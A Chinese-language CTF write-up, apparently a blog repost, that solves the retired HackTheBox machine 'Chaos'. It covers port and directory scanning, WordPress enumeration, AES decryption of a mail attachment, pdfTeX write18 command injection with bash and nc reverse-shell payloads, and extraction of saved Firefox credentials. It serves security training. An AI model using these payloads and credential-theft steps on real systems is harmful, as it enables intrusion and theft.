专栏名称: 黑伞安全
安全加固 渗透测试 众测 ctf 安全新领域研究
目录
相关文章推荐
航空工业  ·  国产载人飞艇新突破! ... ·  2 天前  
航空工业  ·  奉剑海天 “新”火相传 | ... ·  3 天前  
51好读  ›  专栏  ›  黑伞安全

HackTheBox chaos writeup

黑伞安全  · 公众号  ·  · 2019-09-24 20:36

正文


大家好,我是大白,鉴于在强网杯中受到了打击,决定努力提升一下自己姿势水平,先去hackthebox刷一波退役靶机

首先是chaos,这个靶机之前还激活的时候打过,不过没有打下来,先照着官方给出的wp复现一下。

国际惯例,拿到靶机,跑一下端口,这里可以使用以下命令进行快速的全端口扫描:

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.120 | grep ^[0-9] |  cut -d '/' -f 1 | tr '\n'  ',' | sed s/,$//)           //全端口扫描

nmap -sV -sC -T4 10.10.10.120 -p $ports        //针对扫出的端口进行漏扫


得到80,110,143,993,995,10000等开放端口,也就是说靶机开放了web,邮件等服务,首先我们从80端口入手


访问80发现提示直连ip是不允许的,那么按照hackthebox的惯例,网站的域名为靶机名.htb,我们添加到/etc/hosts中



再次通过域名访问,得到以下网站


接下来对ip和域名都进行目录爆破,这里我们使用了工具gobuster,字典使用了directory-list-2.3-medium.txt。

./gobuster -u http://10.10.10.120 -w  /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100


使用域名的目录爆破中没有得到有用的信息,但是使用ip的目录爆破中发现了/wp目录,跟随跳转进入此页面


页面中存在一个密码保护的文本,那么我们接下来就是要找到这个密码,因为可以从url得知这个网站是使用wordpress构建的,那么我们先使用wpscan扫描一下

wpscan --url http://10.10.10.120/wp/wordpress -e

没有发现有用的漏洞,但是发现了一个用户 human

我们使用这个用户作为密码,成功拿到了保护的文本


文本提供了webmail的登陆凭证,让我们回到端口扫描看一下,webmail使用的服务是Dovecot服务,我们找一个可以连接该服务的客户端,这里使用了thunderbird,按照如下配置连接服务器

输入刚才得到的账号密码

成功登陆到邮件服务器,查看收件箱和已发邮件均为空,查看草稿箱发现了一封service邮件,邮件给出了两个附件,并给出提示“You are the password”,意思是使用python脚本对明文进行了加密。

脚本使用了AES算法对明文进行加密,并且将加密使用的IV放入了文件中,那么我们就可以从文件中获取到iv值,那么密钥key呢,邮件中提示“你就是密码”,那么我们使用给出的getKey()函数就可以得到加密使用的key值。

def encrypt(key, filename):

chunksize = 64*1024

outputFile =  "en" + filename

filesize =  str(os.path.getsize(filename)).zfill(16)

IV  =Random.new().read(16)

encryptor = AES.new(key,  AES.MODE_CBC, IV)

with open(filename,  'rb') as infile:

with open(outputFile,  'wb') as outfile:

outfile.write(filesize.encode('utf-8'))

outfile.write(IV)

while True:

chunk =  infile.read(chunksize)

if  len(chunk) == 0:

break

elif  len(chunk) % 16 != 0:

chunk +=  b' ' * (16 - (len(chunk) % 16))

outfile.write(encryptor.encrypt(chunk))

def getKey(password):

hasher =  SHA256.new(password.encode('utf-8'))

return  hasher.digest()

根据以上分析编写解密脚本,aes解密后得到base64编码,再使用base64解码得到明文文本如下

#coding: utf8

from Crypto.Cipher import AES

from Crypto.Hash import SHA256

import base64

class mydecrypt():

def __init__(self, key,  iv):

self.key = key

self.mode = AES.MODE_CBC

self.iv = iv

#解密后,去掉补足的空格用strip() 去掉

def decrypt(self, text):

cryptor =  AES.new(self.key, self.mode, self.iv)

plain_text =  cryptor.decrypt(text)

return  plain_text.rstrip(b' ')

def getKey(password):

hasher =  SHA256.new(password.encode('utf-8'))

return hasher.digest()

if __name__ == '__main__':

chunksize = 64*1024

with  open('enim_msg.txt','rb') as infile:

with  open('msg.txt','wb') as outfile:

filesize =  infile.read(16)

iv =  infile.read(16)

mydec =  mydecrypt(getKey('sahay'),iv)

msg = b''

while True:

chunk =  infile.read(chunksize)

if  len(chunk) == 0:

break

msg += mydec.decrypt(chunk)

outfile.write(base64.b64decode(msg))

意思是搞了个创建pdf的服务,还搞了个这么变态url,好吧,那我们访问一下

随便输了几个字符点击生成pdf,根据返回包可以看出这个服务使用了pdfTeX构建,那我们搜索一下这个组件是否存在漏洞呢,答案是肯定的,根据国外大佬的文章,我们可以看到在开启write18的情况下,可以直接执行系统命令,ok,shell在向我招手

这里测试一下id命令的执行效果


那么我们可以利用bash直接反弹一个shell

\immediate\write18{bash -c 'sh -i  &>/dev/tcp/10.10.14.3/7777 0>&1'}

也可以利用nc管道反弹shell

\immediate\write18{ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh  -i 2>&1|nc 10.10.14.3 4444 >/tmp/f}

监听shell,然后使用python创建一个交互式的shell

然后使用webmail的凭证登陆ayush用户

当我们再次ls的时候,发现ls命令不见了,shell也给出了提示,ls命令所在的目录并没有在PATH环境变量里,导致系统找不到这个命令

那我们看一眼PATH里面有什么

我的妈耶,还真干净,既然如此,找一台正常的linux,echo $PATH获取环境变量,然后导入到当前环境里,ok,搞定。

User.txt flag get

那么我们还需要root权限。查看当前路径下发现一个文件夹比较有趣,”.mozilla”文件夹,是firefox浏览器的缓存文件夹,其中可能保存某些登陆凭证,那么我们把它拿下来研究一下。

使用zip和nc 打包下载安排上。

zip -r /tmp/firefox.zip ~/.mozilla/

Github中有项目可以在本地解析firefox的缓存文件,分析其中的登陆凭证。我们使用firefox_decrypt进行解析,输入的密码同样是我们登陆使用的凭证密码jiujitsu







请到「今天看啥」查看全文